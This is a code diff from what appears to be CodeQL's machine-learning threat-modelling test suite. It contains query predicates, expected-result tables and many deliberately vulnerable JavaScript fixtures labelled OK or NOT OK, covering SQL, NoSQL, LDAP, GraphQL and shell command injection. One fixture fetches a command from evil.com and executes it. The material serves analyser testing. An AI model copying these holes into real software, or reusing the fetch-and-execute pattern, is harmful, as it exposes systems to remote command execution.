| autogenerated/Xss/DomBasedXss/typeahead.js:10:16:10:18 | loc | not a direct argument to a likely external library call or a heuristic sink |
|
||||
| autogenerated/Xss/DomBasedXss/typeahead.js:25:18:25:20 | val | not a direct argument to a likely external library call or a heuristic sink |
|
||||
| autogenerated/Xss/DomBasedXss/classnames.js:17:32:17:79 | `<span ... <span>` | not a direct argument to a likely external library call or a heuristic sink (xss) |
|
||||
| autogenerated/Xss/DomBasedXss/d3.js:12:20:12:29 | getTaint() | not a direct argument to a likely external library call or a heuristic sink (xss) |
|
||||
| autogenerated/Xss/DomBasedXss/d3.js:14:20:14:29 | getTaint() | not a direct argument to a likely external library call or a heuristic sink (xss) |
|
||||
| autogenerated/Xss/DomBasedXss/express.js:7:15:7:33 | req.param("wobble") | not a direct argument to a likely external library call or a heuristic sink (xss) |
|
||||
| autogenerated/Xss/DomBasedXss/jwt-server.js:11:19:11:29 | decoded.foo | not a direct argument to a likely external library call or a heuristic sink (xss) |
|
||||
| autogenerated/Xss/DomBasedXss/trusted-types.js:2:71:2:71 | x | not a direct argument to a likely external library call or a heuristic sink (xss) |
|
||||
| autogenerated/Xss/DomBasedXss/trusted-types.js:5:71:5:76 | 'safe' | not a direct argument to a likely external library call or a heuristic sink (xss) |
|
||||
| autogenerated/Xss/DomBasedXss/trusted-types.js:8:71:8:71 | x | not a direct argument to a likely external library call or a heuristic sink (xss) |
|
||||
| autogenerated/Xss/DomBasedXss/tst.js:316:35:316:42 | location | not a direct argument to a likely external library call or a heuristic sink (xss) |
|
||||
| autogenerated/Xss/DomBasedXss/typeahead.js:10:16:10:18 | loc | not a direct argument to a likely external library call or a heuristic sink (xss) |
|
||||
| autogenerated/Xss/DomBasedXss/typeahead.js:25:18:25:20 | val | not a direct argument to a likely external library call or a heuristic sink (xss) |
|
||||
xssThroughDomFilteredTruePositives
|
||||
| autogenerated/Xss/DomBasedXss/classnames.js:17:32:17:79 | `<span ... <span>` | not a direct argument to a likely external library call or a heuristic sink (xss) |
|
||||
| autogenerated/Xss/DomBasedXss/d3.js:12:20:12:29 | getTaint() | not a direct argument to a likely external library call or a heuristic sink (xss) |
|
||||
| autogenerated/Xss/DomBasedXss/d3.js:14:20:14:29 | getTaint() | not a direct argument to a likely external library call or a heuristic sink (xss) |
|
||||
| autogenerated/Xss/DomBasedXss/express.js:7:15:7:33 | req.param("wobble") | not a direct argument to a likely external library call or a heuristic sink (xss) |
|
||||
| autogenerated/Xss/DomBasedXss/jwt-server.js:11:19:11:29 | decoded.foo | not a direct argument to a likely external library call or a heuristic sink (xss) |
|
||||
| autogenerated/Xss/DomBasedXss/trusted-types.js:2:71:2:71 | x | not a direct argument to a likely external library call or a heuristic sink (xss) |
|
||||
| autogenerated/Xss/DomBasedXss/trusted-types.js:5:71:5:76 | 'safe' | not a direct argument to a likely external library call or a heuristic sink (xss) |
|
||||
| autogenerated/Xss/DomBasedXss/trusted-types.js:8:71:8:71 | x | not a direct argument to a likely external library call or a heuristic sink (xss) |
|
||||
| autogenerated/Xss/DomBasedXss/tst.js:316:35:316:42 | location | not a direct argument to a likely external library call or a heuristic sink (xss) |
|
||||
| autogenerated/Xss/DomBasedXss/typeahead.js:10:16:10:18 | loc | not a direct argument to a likely external library call or a heuristic sink (xss) |
|
||||
| autogenerated/Xss/DomBasedXss/typeahead.js:25:18:25:20 | val | not a direct argument to a likely external library call or a heuristic sink (xss) |
|
||||
shellCommandInjectionFromEnvironmentAtmFilteredTruePositives
|
||||
|
||||
@@ -16,32 +16,50 @@ import semmle.javascript.security.dataflow.NosqlInjectionCustomizations
|
||||
import semmle.javascript.security.dataflow.SqlInjectionCustomizations
|
||||
import semmle.javascript.security.dataflow.TaintedPathCustomizations
|
||||
import semmle.javascript.security.dataflow.DomBasedXssCustomizations
|
||||
import experimental.adaptivethreatmodeling.StandardEndpointFilters as StandardEndpointFilters
|
||||
import semmle.javascript.security.dataflow.ShellCommandInjectionFromEnvironmentCustomizations
|
||||
import experimental.adaptivethreatmodeling.NosqlInjectionATM as NosqlInjectionAtm
|
||||
import experimental.adaptivethreatmodeling.SqlInjectionATM as SqlInjectionAtm
|
||||
import experimental.adaptivethreatmodeling.TaintedPathATM as TaintedPathAtm
|
||||
import experimental.adaptivethreatmodeling.XssATM as XssAtm
|
||||
import experimental.adaptivethreatmodeling.XssThroughDomATM as XssThroughDomAtm
|
||||
import experimental.adaptivethreatmodeling.ShellCommandInjectionFromEnvironmentATM as ShellCommandInjectionFromEnvironmentAtm
|
||||
|
||||
query predicate nosqlFilteredTruePositives(DataFlow::Node endpoint, string reason) {
|
||||
endpoint instanceof NosqlInjection::Sink and
|
||||
reason = NosqlInjectionAtm::SinkEndpointFilter::getAReasonSinkExcluded(endpoint) and
|
||||
reason = any(NosqlInjectionAtm::NosqlInjectionAtmConfig cfg).getAReasonSinkExcluded(endpoint) and
|
||||
not reason = ["argument to modeled function", "modeled sink", "modeled database access"]
|
||||
}
|
||||
|
||||
query predicate sqlFilteredTruePositives(DataFlow::Node endpoint, string reason) {
|
||||
endpoint instanceof SqlInjection::Sink and
|
||||
reason = SqlInjectionAtm::SinkEndpointFilter::getAReasonSinkExcluded(endpoint) and
|
||||
reason = any(SqlInjectionAtm::SqlInjectionAtmConfig cfg).getAReasonSinkExcluded(endpoint) and
|
||||
reason != "argument to modeled function"
|
||||
}
|
||||
|
||||
query predicate taintedPathFilteredTruePositives(DataFlow::Node endpoint, string reason) {
|
||||
endpoint instanceof TaintedPath::Sink and
|
||||
reason = TaintedPathAtm::SinkEndpointFilter::getAReasonSinkExcluded(endpoint) and
|
||||
reason = any(TaintedPathAtm::TaintedPathAtmConfig cfg).getAReasonSinkExcluded(endpoint) and
|
||||
reason != "argument to modeled function"
|
||||
}
|
||||
|
||||
query predicate xssFilteredTruePositives(DataFlow::Node endpoint, string reason) {
|
||||
endpoint instanceof DomBasedXss::Sink and
|
||||
reason = XssAtm::SinkEndpointFilter::getAReasonSinkExcluded(endpoint) and
|
||||
reason = any(XssAtm::DomBasedXssAtmConfig cfg).getAReasonSinkExcluded(endpoint) and
|
||||
reason != "argument to modeled function"
|
||||
}
|
||||
|
||||
query predicate xssThroughDomFilteredTruePositives(DataFlow::Node endpoint, string reason) {
|
||||
endpoint instanceof DomBasedXss::Sink and
|
||||
reason = any(XssThroughDomAtm::XssThroughDomAtmConfig cfg).getAReasonSinkExcluded(endpoint) and
|
||||
reason != "argument to modeled function"
|
||||
}
|
||||
|
||||
query predicate shellCommandInjectionFromEnvironmentAtmFilteredTruePositives(
|
||||
DataFlow::Node endpoint, string reason
|
||||
) {
|
||||
endpoint instanceof ShellCommandInjectionFromEnvironment::Sink and
|
||||
reason =
|
||||
any(ShellCommandInjectionFromEnvironmentAtm::ShellCommandInjectionFromEnvironmentAtmConfig cfg)
|
||||
.getAReasonSinkExcluded(endpoint) and
|
||||
reason != "argument to modeled function"
|
||||
}
|
||||
|
||||
@@ -1,7 +1,9 @@
|
||||
# autogenerated
|
||||
# autogenerated folder
|
||||
|
||||
This folder contains test data for the ATM endpoint CodeQL tests that has been autogenerated from the standard JS CodeQL libraries.
|
||||
|
||||
It is helpful, but not required, to periodically update this test data to incorporate new test data introduced in the standard JS CodeQL libraries.
|
||||
To update this test data, run `python /path/to/codeql-lib/ql/javascript/test/update_endpoint_test_files.py --codeql-lib-path /path/to/codeql-lib`.
|
||||
For more information, run `python /path/to/codeql-lib/ql/javascript/test/update_endpoint_test_files.py --help` or view the source code of [`update_endpoint_test_files.py`](../../update_endpoint_test_files.py).
|
||||
|
||||
To update this test data, run `python /path/to/codeql-lib/ql/javascript/test/update_endpoint_test_files.py`.
|
||||
|
||||
For more information view the source code of [`update_endpoint_test_files.py`](../../update_endpoint_test_files.py).
|
||||
@@ -0,0 +1,121 @@
|
||||
var express = require('express');
|
||||
var app = express();
|
||||
|
||||
import { Octokit } from "@octokit/core";
|
||||
const kit = new Octokit();
|
||||
|
||||
app.get('/post/:id', function(req, res) {
|
||||
const id = req.params.id;
|
||||
// NOT OK
|
||||
const response = kit.graphql(`
|
||||
query {
|
||||
repository(owner: "github", name: "${id}") {
|
||||
object(expression: "master:foo") {
|
||||
... on Blob {
|
||||
text
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
`);
|
||||
});
|
||||
|
||||
import { graphql, withCustomRequest } from "@octokit/graphql";
|
||||
|
||||
app.get('/user/:id/', function(req, res) {
|
||||
const id = req.params.id;
|
||||
const response = graphql(`foo ${id}`); // NOT OK
|
||||
|
||||
const myGraphql = withCustomRequest(request);
|
||||
const response = myGraphql(`foo ${id}`); // NOT OK
|
||||
|
||||
const withDefaults = graphql.defaults({});
|
||||
withDefaults(`foo ${id}`); // NOT OK
|
||||
});
|
||||
|
||||
const { request } = require("@octokit/request");
|
||||
|
||||
app.get('/article/:id/', async function(req, res) {
|
||||
const id = req.params.id;
|
||||
const result = await request("POST /graphql", {
|
||||
headers: {
|
||||
authorization: "token 0000000000000000000000000000000000000001",
|
||||
},
|
||||
query: `foo ${id}`, // NOT OK
|
||||
});
|
||||
|
||||
const withDefaults = request.defaults({});
|
||||
withDefaults("POST /graphql", { query: `foo ${id}` }); // NOT OK
|
||||
});
|
||||
|
||||
import { Octokit as Core } from "@octokit/rest";
|
||||
const kit2 = new Core();
|
||||
|
||||
app.get('/event/:id/', async function(req, res) {
|
||||
const id = req.params.id;
|
||||
const result = await kit2.graphql(`foo ${id}`); // NOT OK
|
||||
|
||||
const result2 = await kit2.request("POST /graphql", { query: `foo ${id}` }); // NOT OK
|
||||
});
|
||||
|
||||
import { graphql as nativeGraphql, buildSchema } from 'graphql';
|
||||
var schema = buildSchema(`
|
||||
type Query {
|
||||
hello: String
|
||||
}
|
||||
`);
|
||||
var root = {
|
||||
hello: () => {
|
||||
return 'Hello world!';
|
||||
},
|
||||
};
|
||||
|
||||
app.get('/thing/:id', async function(req, res) {
|
||||
const id = req.query.id;
|
||||
const result = await nativeGraphql(schema, "{ foo" + id + " }", root); // NOT OK
|
||||
|
||||
fetch("https://my-grpahql-server.com/graphql", {
|
||||
method: "POST",
|
||||
headers: {
|
||||
"Content-Type": "application/json"
|
||||
},
|
||||
body: JSON.stringify({
|
||||
// NOT OK
|
||||
query: `{
|
||||
thing {
|
||||
name
|
||||
url
|
||||
${id}
|
||||
}
|
||||
}`
|
||||
})
|
||||
})
|
||||
|
||||
fetch("https://my-grpahql-server.com/graphql", {
|
||||
method: "POST",
|
||||
headers: {
|
||||
"Content-Type": "application/json"
|
||||
},
|
||||
body: JSON.stringify({
|
||||
// OK
|
||||
query: `{
|
||||
thing {
|
||||
name
|
||||
url
|
||||
$id
|
||||
}
|
||||
}`,
|
||||
variables: {
|
||||
id: id
|
||||
}
|
||||
})
|
||||
})
|
||||
});
|
||||
|
||||
const github = require('@actions/github');
|
||||
app.get('/event/:id/', async function(req, res) {
|
||||
const kit = github.getOctokit("foo")
|
||||
|
||||
const id = req.params.id;
|
||||
const result = await kit.graphql(`foo ${id}`); // NOT OK
|
||||
});
|
||||
@@ -35,3 +35,30 @@ app.post('/documents/find', (req, res) => {
|
||||
doc.find(query); // NOT OK
|
||||
});
|
||||
});
|
||||
|
||||
import Joi from 'joi';
|
||||
|
||||
const joiSchema = Joi.object({
|
||||
date: Joi.string().required(),
|
||||
title: Joi.string().required()
|
||||
}).with('date', 'title');
|
||||
|
||||
app.post('/documents/insert', (req, res) => {
|
||||
MongoClient.connect('mongodb://localhost:27017/test', async (err, db) => {
|
||||
let doc = db.collection('doc');
|
||||
|
||||
const query = JSON.parse(req.query.data);
|
||||
const validate = joiSchema.validate(query);
|
||||
if (!validate.error) {
|
||||
doc.find(query); // OK
|
||||
} else {
|
||||
doc.find(query); // NOT OK
|
||||
}
|
||||
try {
|
||||
await joiSchema.validateAsync(query);
|
||||
doc.find(query); // OK - but still flagged [INCONSISTENCY]
|
||||
} catch (e) {
|
||||
doc.find(query); // NOT OK
|
||||
}
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,71 @@
|
||||
const http = require("http");
|
||||
const url = require("url");
|
||||
const ldap = require("ldapjs");
|
||||
const client = ldap.createClient({
|
||||
url: "ldap://127.0.0.1:1389",
|
||||
});
|
||||
|
||||
// https://github.com/vesse/node-ldapauth-fork/commit/3feea43e243698bcaeffa904a7324f4d96df60e4
|
||||
const sanitizeInput = function (input) {
|
||||
return input
|
||||
.replace(/\*/g, "\\2a")
|
||||
.replace(/\(/g, "\\28")
|
||||
.replace(/\)/g, "\\29")
|
||||
.replace(/\\/g, "\\5c")
|
||||
.replace(/\0/g, "\\00")
|
||||
.replace(/\//g, "\\2f");
|
||||
};
|
||||
|
||||
const server = http.createServer((req, res) => {
|
||||
let q = url.parse(req.url, true);
|
||||
|
||||
let username = q.query.username;
|
||||
|
||||
var opts1 = {
|
||||
filter: `(|(name=${username})(username=${username}))`,
|
||||
};
|
||||
|
||||
client.search("o=example", opts1, function (err, res) {}); // NOT OK
|
||||
|
||||
client.search(
|
||||
"o=example",
|
||||
{ filter: `(|(name=${username})(username=${username}))` }, // NOT OK
|
||||
function (err, res) {}
|
||||
);
|
||||
|
||||
// GOOD
|
||||
client.search(
|
||||
"o=example",
|
||||
{ // OK
|
||||
filter: `(|(name=${sanitizeInput(username)})(username=${sanitizeInput(
|
||||
username
|
||||
)}))`,
|
||||
},
|
||||
function (err, res) {}
|
||||
);
|
||||
|
||||
// GOOD (https://github.com/ldapjs/node-ldapjs/issues/181)
|
||||
let f = new OrFilter({
|
||||
filters: [
|
||||
new EqualityFilter({
|
||||
attribute: "name",
|
||||
value: username,
|
||||
}),
|
||||
new EqualityFilter({
|
||||
attribute: "username",
|
||||
value: username,
|
||||
}),
|
||||
],
|
||||
});
|
||||
|
||||
client.search("o=example", { filter: f }, function (err, res) {});
|
||||
|
||||
const parsedFilter = ldap.parseFilter(
|
||||
`(|(name=${username})(username=${username}))`
|
||||
);
|
||||
client.search("o=example", { filter: parsedFilter }, function (err, res) {}); // NOT OK
|
||||
|
||||
const dn = ldap.parseDN(`cn=${username}`, function (err, dn) {}); // NOT OK
|
||||
});
|
||||
|
||||
server.listen(389, () => {});
|
||||
@@ -11,5 +11,5 @@ app.post("/documents/find", (req, res) => {
|
||||
query.title = req.body.title;
|
||||
|
||||
// NOT OK: query is tainted by user-provided object value
|
||||
db.myDoc.find(query);
|
||||
db.myDoc.find(query, (err, data) => {});
|
||||
});
|
||||
|
||||
@@ -13,5 +13,5 @@ app.post("/documents/find", (req, res) => {
|
||||
query.title = req.body.title;
|
||||
|
||||
// NOT OK: query is tainted by user-provided object value
|
||||
doc.find(query);
|
||||
doc.find(query, (err, data) => {});
|
||||
});
|
||||
|
||||
@@ -0,0 +1,22 @@
|
||||
const app = require("express")();
|
||||
const mysql = require('mysql');
|
||||
const pool = mysql.createPool(getConfig());
|
||||
|
||||
app.get("search", function handler(req, res) {
|
||||
let temp = req.params.value;
|
||||
pool.getConnection(function(err, connection) {
|
||||
connection.query({
|
||||
sql: 'SELECT * FROM `books` WHERE `author` = ?', // OK
|
||||
values: [temp]
|
||||
}, function(error, results, fields) {});
|
||||
});
|
||||
pool.getConnection(function(err, connection) {
|
||||
connection.query({
|
||||
sql: 'SELECT * FROM `books` WHERE `author` = ' + temp, // NOT OK
|
||||
}, function(error, results, fields) {});
|
||||
});
|
||||
pool.getConnection(function(err, connection) {
|
||||
connection.query('SELECT * FROM `books` WHERE `author` = ' + temp, // NOT OK
|
||||
function(error, results, fields) {});
|
||||
});
|
||||
});
|
||||
@@ -5,7 +5,7 @@ require('express')().get('/foo', (req, res) => {
|
||||
|
||||
var query = "SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY='"
|
||||
+ req.params.category + "' ORDER BY PRICE";
|
||||
|
||||
|
||||
db.any(query); // NOT OK
|
||||
db.many(query); // NOT OK
|
||||
db.manyOrNone(query); // NOT OK
|
||||
@@ -17,7 +17,7 @@ require('express')().get('/foo', (req, res) => {
|
||||
db.oneOrNone(query); // NOT OK
|
||||
db.query(query); // NOT OK
|
||||
db.result(query); // NOT OK
|
||||
|
||||
|
||||
db.one({
|
||||
text: query // NOT OK
|
||||
});
|
||||
@@ -59,7 +59,7 @@ require('express')().get('/foo', (req, res) => {
|
||||
db.task(t => {
|
||||
return t.one(query); // NOT OK
|
||||
});
|
||||
db.task(
|
||||
db.taskIf(
|
||||
{ cnd: t => t.one(query) }, // NOT OK
|
||||
t => t.one(query) // NOT OK
|
||||
);
|
||||
|
||||
@@ -0,0 +1,95 @@
|
||||
var cp = require("child_process"),
|
||||
http = require('http'),
|
||||
url = require('url');
|
||||
|
||||
var server = http.createServer(function(req, res) {
|
||||
let cmd = url.parse(req.url, true).query.path;
|
||||
|
||||
cp.exec("foo"); // OK
|
||||
cp.execSync("foo"); // OK
|
||||
cp.execFile("foo"); // OK
|
||||
cp.execFileSync("foo"); // OK
|
||||
cp.spawn("foo"); // OK
|
||||
cp.spawnSync("foo"); // OK
|
||||
cp.fork("foo"); // OK
|
||||
|
||||
|
||||
cp.exec(cmd); // NOT OK
|
||||
cp.execSync(cmd); // NOT OK
|
||||
cp.execFile(cmd); // NOT OK
|
||||
cp.execFileSync(cmd); // NOT OK
|
||||
cp.spawn(cmd); // NOT OK
|
||||
cp.spawnSync(cmd); // NOT OK
|
||||
cp.fork(cmd); // NOT OK
|
||||
|
||||
cp.exec("foo" + cmd + "bar"); // NOT OK
|
||||
|
||||
// These are technically NOT OK, but they are more likely as false positives
|
||||
cp.exec("foo", {shell: cmd}); // OK
|
||||
cp.exec("foo", {env: {PATH: cmd}}); // OK
|
||||
cp.exec("foo", {cwd: cmd}); // OK
|
||||
cp.exec("foo", {uid: cmd}); // OK
|
||||
cp.exec("foo", {gid: cmd}); // OK
|
||||
|
||||
let sh, flag;
|
||||
if (process.platform == 'win32')
|
||||
sh = 'cmd.exe', flag = '/c';
|
||||
else
|
||||
sh = '/bin/sh', flag = '-c';
|
||||
cp.spawn(sh, [ flag, cmd ]); // NOT OK
|
||||
|
||||
let args = [];
|
||||
args[0] = "-c";
|
||||
args[1] = cmd; // NOT OK
|
||||
cp.execFile("/bin/bash", args);
|
||||
|
||||
let args = [];
|
||||
args[0] = "-c";
|
||||
args[1] = cmd; // NOT OK
|
||||
run("sh", args);
|
||||
|
||||
let args = [];
|
||||
args[0] = `-` + "c";
|
||||
args[1] = cmd; // NOT OK
|
||||
cp.execFile(`/bin` + "/bash", args);
|
||||
|
||||
cp.spawn('cmd.exe', ['/C', 'foo'].concat(["bar", cmd])); // NOT OK
|
||||
cp.spawn('cmd.exe', ['/C', 'foo'].concat(cmd)); // NOT OK
|
||||
|
||||
let myArgs = [];
|
||||
myArgs.push(`-` + "c");
|
||||
myArgs.push(cmd);
|
||||
cp.execFile(`/bin` + "/bash", args); // NOT OK - but no support for `[].push()` for indirect arguments [INCONSISTENCY]
|
||||
|
||||
});
|
||||
|
||||
function run(cmd, args) {
|
||||
cp.spawn(cmd, args); // OK - the alert happens where `args` is build.
|
||||
}
|
||||
|
||||
var util = require("util")
|
||||
|
||||
http.createServer(function(req, res) {
|
||||
let cmd = url.parse(req.url, true).query.path;
|
||||
|
||||
util.promisify(cp.exec)(cmd); // NOT OK
|
||||
});
|
||||
|
||||
|
||||
const webpackDevServer = require('webpack-dev-server');
|
||||
new webpackDevServer(compiler, {
|
||||
before: function (app) {
|
||||
app.use(function (req, res, next) {
|
||||
cp.exec(req.query.fileName); // NOT OK
|
||||
|
||||
require("my-sub-lib").foo(req.query.fileName); // calls lib/subLib/index.js#foo
|
||||
});
|
||||
}
|
||||
});
|
||||
|
||||
import Router from "koa-router";
|
||||
const router = new Router();
|
||||
|
||||
router.get("/ping/:host", async (ctx) => {
|
||||
cp.exec("ping " + ctx.params.host); // NOT OK
|
||||
});
|
||||
@@ -0,0 +1,21 @@
|
||||
const cp = require('child_process'),
|
||||
http = require('http'),
|
||||
url = require('url');
|
||||
|
||||
function getShell() {
|
||||
if (process.platform === 'win32') {
|
||||
return { cmd: 'cmd', arg: '/C' }
|
||||
} else {
|
||||
return { cmd: 'sh', arg: '-c' }
|
||||
}
|
||||
}
|
||||
|
||||
function execSh(command, options) {
|
||||
var shell = getShell()
|
||||
return cp.spawn(shell.cmd, [shell.arg, command], options) // BAD
|
||||
}
|
||||
|
||||
http.createServer(function (req, res) {
|
||||
let cmd = url.parse(req.url, true).query.path;
|
||||
execSh(cmd);
|
||||
});
|
||||
@@ -0,0 +1,16 @@
|
||||
const cp = require('child_process'),
|
||||
http = require('http'),
|
||||
url = require('url');
|
||||
|
||||
function getShell() {
|
||||
return "sh";
|
||||
}
|
||||
|
||||
function execSh(command, options) {
|
||||
return cp.spawn(getShell(), ["-c", command], options) // BAD
|
||||
};
|
||||
|
||||
http.createServer(function (req, res) {
|
||||
let cmd = url.parse(req.url, true).query.path;
|
||||
execSh(cmd);
|
||||
});
|
||||
@@ -0,0 +1,20 @@
|
||||
var exec = require('child_process').exec;
|
||||
|
||||
function asyncEach(arr, iterator) {
|
||||
var i = 0;
|
||||
(function iterate() {
|
||||
iterator(arr[i++], function () {
|
||||
if (i < arr.length)
|
||||
process.nextTick(iterate);
|
||||
});
|
||||
})();
|
||||
}
|
||||
|
||||
function execEach(commands) {
|
||||
asyncEach(commands, (command) => exec(command)); // NOT OK
|
||||
};
|
||||
|
||||
require('http').createServer(function(req, res) {
|
||||
let cmd = require('url').parse(req.url, true).query.path;
|
||||
execEach([cmd]);
|
||||
});
|
||||
@@ -0,0 +1,63 @@
|
||||
var express = require('express');
|
||||
var multer = require('multer');
|
||||
var upload = multer({ dest: 'uploads/' });
|
||||
|
||||
var app = express();
|
||||
var exec = require("child_process").exec;
|
||||
|
||||
app.post('/profile', upload.single('avatar'), function (req, res, next) {
|
||||
exec("touch " + req.file.originalname); // NOT OK
|
||||
});
|
||||
|
||||
app.post('/photos/upload', upload.array('photos', 12), function (req, res, next) {
|
||||
req.files.forEach(file => {
|
||||
exec("touch " + file.originalname); // NOT OK
|
||||
})
|
||||
});
|
||||
|
||||
|
||||
var http = require('http');
|
||||
var Busboy = require('busboy');
|
||||
|
||||
http.createServer(function (req, res) {
|
||||
var busboy = new Busboy({ headers: req.headers });
|
||||
busboy.on('file', function (fieldname, file, filename, encoding, mimetype) {
|
||||
exec("touch " + filename); // NOT OK
|
||||
});
|
||||
req.pipe(busboy);
|
||||
}).listen(8000);
|
||||
|
||||
|
||||
const formidable = require('formidable');
|
||||
app.post('/api/upload', (req, res, next) => {
|
||||
let form = formidable({ multiples: true });
|
||||
|
||||
form.parse(req, (err, fields, files) => {
|
||||
exec("touch " + fields.name); // NOT OK
|
||||
});
|
||||
|
||||
let form2 = new formidable.IncomingForm();
|
||||
form2.parse(req, (err, fields, files) => {
|
||||
exec("touch " + fields.name); // NOT OK
|
||||
});
|
||||
});
|
||||
|
||||
var multiparty = require('multiparty');
|
||||
var http = require('http');
|
||||
|
||||
http.createServer(function (req, res) {
|
||||
// parse a file upload
|
||||
var form = new multiparty.Form();
|
||||
|
||||
form.parse(req, function (err, fields, files) {
|
||||
exec("touch " + fields.name); // NOT OK
|
||||
});
|
||||
|
||||
|
||||
var form2 = new multiparty.Form();
|
||||
form2.on('part', function (part) { // / file / field
|
||||
exec("touch " + part.filename); // NOT OK
|
||||
});
|
||||
form2.parse(req);
|
||||
|
||||
}).listen(8080);
|
||||
@@ -0,0 +1,35 @@
|
||||
var http = require("http"),
|
||||
url = require("url");
|
||||
|
||||
var server = http.createServer(function (req, res) {
|
||||
let cmd = url.parse(req.url, true).query.path;
|
||||
|
||||
require("cross-spawn").sync(cmd); // NOT OK
|
||||
require("execa").shell(cmd); // NOT OK
|
||||
require("execa").shellSync(cmd); // NOT OK
|
||||
require("execa").stdout(cmd); // NOT OK
|
||||
require("execa").stderr(cmd); // NOT OK
|
||||
require("execa").sync(cmd); // NOT OK
|
||||
|
||||
require("cross-spawn")(cmd); // NOT OK
|
||||
require("cross-spawn-async")(cmd); // NOT OK
|
||||
require("exec")(cmd); // NOT OK
|
||||
require("exec-async")(cmd); // NOT OK
|
||||
require("execa")(cmd); // NOT OK
|
||||
require("remote-exec")(target, cmd); // NOT OK
|
||||
|
||||
const ssh2 = require("ssh2");
|
||||
new ssh2().exec(cmd); // NOT OK
|
||||
new ssh2.Client().exec(cmd); // NOT OK
|
||||
|
||||
const SSH2Stream = require("ssh2-streams").SSH2Stream;
|
||||
new SSH2Stream().exec(false, cmd); // NOT OK
|
||||
|
||||
require("execa").node(cmd); // NOT OK
|
||||
|
||||
require("foreground-child")(cmd); // NOT OK
|
||||
|
||||
const opener = require("opener");
|
||||
opener("http://github.com/" + url.parse(req.url, true).query.user); // OK
|
||||
opener("http://github.com", { command: cmd }); // NOT OK
|
||||
});
|
||||
@@ -0,0 +1,8 @@
|
||||
let https = require("https"),
|
||||
cp = require("child_process");
|
||||
|
||||
https.get("https://evil.com/getCommand", res =>
|
||||
res.on("data", command => {
|
||||
cp.execSync(command);
|
||||
})
|
||||
);
|
||||
@@ -0,0 +1,147 @@
|
||||
var cp = require("child_process");
|
||||
|
||||
(function() {
|
||||
cp.exec(process.argv); // NOT OK (just weird)
|
||||
cp.exec(process.argv[0]); // OK
|
||||
cp.exec("cmd.sh " + process.argv[0]); // OK
|
||||
cp.exec("cmd.sh " + process.argv[1]); // OK
|
||||
cp.exec("cmd.sh " + process.argv[2]); // NOT OK
|
||||
|
||||
var args = process.argv.slice(2);
|
||||
cp.execSync(args[0]); // NOT OK
|
||||
cp.execSync("cmd.sh " + args[0]); // NOT OK
|
||||
|
||||
var fewerArgs = args.slice(1);
|
||||
cp.execSync(fewerArgs[0]); // NOT OK
|
||||
cp.execSync("cmd.sh " + fewerArgs[0]); // NOT OK
|
||||
|
||||
var arg0 = fewerArgs[0];
|
||||
cp.execSync(arg0); // NOT OK
|
||||
cp.execSync("cmd.sh " + arg0); // NOT OK
|
||||
});
|
||||
|
||||
(function() {
|
||||
const args = process.argv.slice(2);
|
||||
const script = path.join(packageDir, 'app', 'index.js');
|
||||
cp.execSync(`node ${script} ${args[0]} --option"`); // NOT OK
|
||||
cp.execSync(`node ${script} ${args.join(' ')} --option"`); // NOT OK
|
||||
});
|
||||
|
||||
cp.exec("cmd.sh " + require("get-them-args")().foo); // NOT OK
|
||||
cp.exec("cmd.sh " + require("minimist")().foo); // OK - no args provided.
|
||||
cp.exec("cmd.sh " + require("yargs").argv.foo); // NOT OK
|
||||
cp.exec("cmd.sh " + require("optimist").argv.foo); // NOT OK
|
||||
|
||||
(function () {
|
||||
var args = require('yargs') // eslint-disable-line
|
||||
.command('serve [port]', 'start the server', (yargs) => { })
|
||||
.option('verbose', { foo: "bar" })
|
||||
.argv
|
||||
|
||||
cp.exec("cmd.sh " + args); // NOT OK
|
||||
|
||||
cp.exec("cmd.sh " + require("yargs").array("foo").parse().foo); // NOT OK
|
||||
});
|
||||
|
||||
(function () {
|
||||
const {
|
||||
argv: {
|
||||
...args
|
||||
},
|
||||
} = require('yargs')
|
||||
.usage('Usage: foo bar')
|
||||
.command();
|
||||
|
||||
cp.exec("cmd.sh " + args); // NOT OK
|
||||
|
||||
var tainted1 = require('yargs').argv;
|
||||
var tainted2 = require('yargs').parse()
|
||||
|
||||
const {taint1: {...taint1rest},taint2: {...taint2rest}} = {
|
||||
taint1: tainted1,
|
||||
taint2: tainted2
|
||||
}
|
||||
|
||||
cp.exec("cmd.sh " + taint1rest); // NOT OK - has flow from tainted1
|
||||
cp.exec("cmd.sh " + taint2rest); // NOT OK - has flow from tianted2
|
||||
|
||||
var {...taint3} = require('yargs').argv;
|
||||
cp.exec("cmd.sh " + taint3); // NOT OK
|
||||
|
||||
var [...taint4] = require('yargs').argv;
|
||||
cp.exec("cmd.sh " + taint4); // NOT OK
|
||||
});
|
||||
|
||||
(function () {
|
||||
const argv = process.argv.slice(2);
|
||||
|
||||
var minimist = require("minimist");
|
||||
cp.exec("cmd.sh " + minimist(argv).foo); // NOT OK
|
||||
|
||||
var subarg = require('subarg');
|
||||
cp.exec("cmd.sh " + subarg(process.argv.slice(2)).foo); // NOT OK
|
||||
|
||||
var yargsParser = require('yargs-parser');
|
||||
cp.exec("cmd.sh " + yargsParser(process.argv.slice(2)).foo); // NOT OK
|
||||
|
||||
import args from 'args'
|
||||
var flags = args.parse(process.argv);
|
||||
cp.exec("cmd.sh " + flags.foo); // NOT OK
|
||||
|
||||
var flags = require('arg')({...spec});
|
||||
cp.exec("cmd.sh " + flags.foo); // NOT OK
|
||||
})
|
||||
|
||||
(function () {
|
||||
const { ArgumentParser } = require('argparse');
|
||||
|
||||
const parser = new ArgumentParser({description: 'Argparse example'});
|
||||
|
||||
parser.add_argument('-f', '--foo', { help: 'foo bar' });
|
||||
|
||||
cp.exec("cmd.sh " + parser.parse_args().foo); // NOT OK
|
||||
});
|
||||
|
||||
(function () {
|
||||
const commandLineArgs = require('command-line-args');
|
||||
const options = commandLineArgs(optionDefinitions);
|
||||
cp.exec("cmd.sh " + options.foo); // NOT OK
|
||||
});
|
||||
|
||||
(function () {
|
||||
const meow = require('meow');
|
||||
|
||||
const cli = meow(`helpstring`, {flags: {...flags}});
|
||||
|
||||
cp.exec("cmd.sh " + cli.input[0]); // NOT OK
|
||||
});
|
||||
|
||||
(function () {
|
||||
var dashdash = require('dashdash');
|
||||
|
||||
var opts = dashdash.parse({options: options});
|
||||
|
||||
cp.exec("cmd.sh " + opts.foo); // NOT OK
|
||||
|
||||
var parser = dashdash.createParser({options: options});
|
||||
var opts = parser.parse();
|
||||
|
||||
cp.exec("cmd.sh " + opts.foo); // NOT OK
|
||||
});
|
||||
|
||||
(function () {
|
||||
const { program } = require('commander');
|
||||
